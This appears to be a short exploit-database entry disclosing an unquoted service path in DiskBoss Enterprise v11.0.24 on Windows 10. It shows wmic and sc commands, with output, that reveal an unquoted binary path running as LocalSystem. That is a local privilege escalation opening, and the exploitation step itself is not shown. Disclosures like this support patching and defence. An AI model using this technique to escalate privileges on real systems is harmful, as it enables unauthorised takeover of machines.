Exploit Title: DiskBoss Enterprise v11.0.24 (x86) - 'DiskBoss Enterprise' Unquoted Service Path Exploit Author: boku Date: 02/10/2020 Vendor Homepage: https://www.diskboss.com Software Link: http://www.diskboss.com/setups/diskbossent_setup_v11.0.24.exe Version: 11.0.24 Tested On: Windows 10 (32-bit) C:\Users\protoss>wmic service get name, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i "DiskBoss" | findstr /i /v """ DiskBoss Enterprise C:\Program Files\DiskBoss Enterprise\bin\diskbss.exe Auto C:\Users\protoss>sc qc "DiskBoss Enterprise" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: DiskBoss Enterprise TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\Program Files\DiskBoss Enterprise\bin\diskbss.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : DiskBoss Enterprise DEPENDENCIES : SERVICE_START_NAME : LocalSystem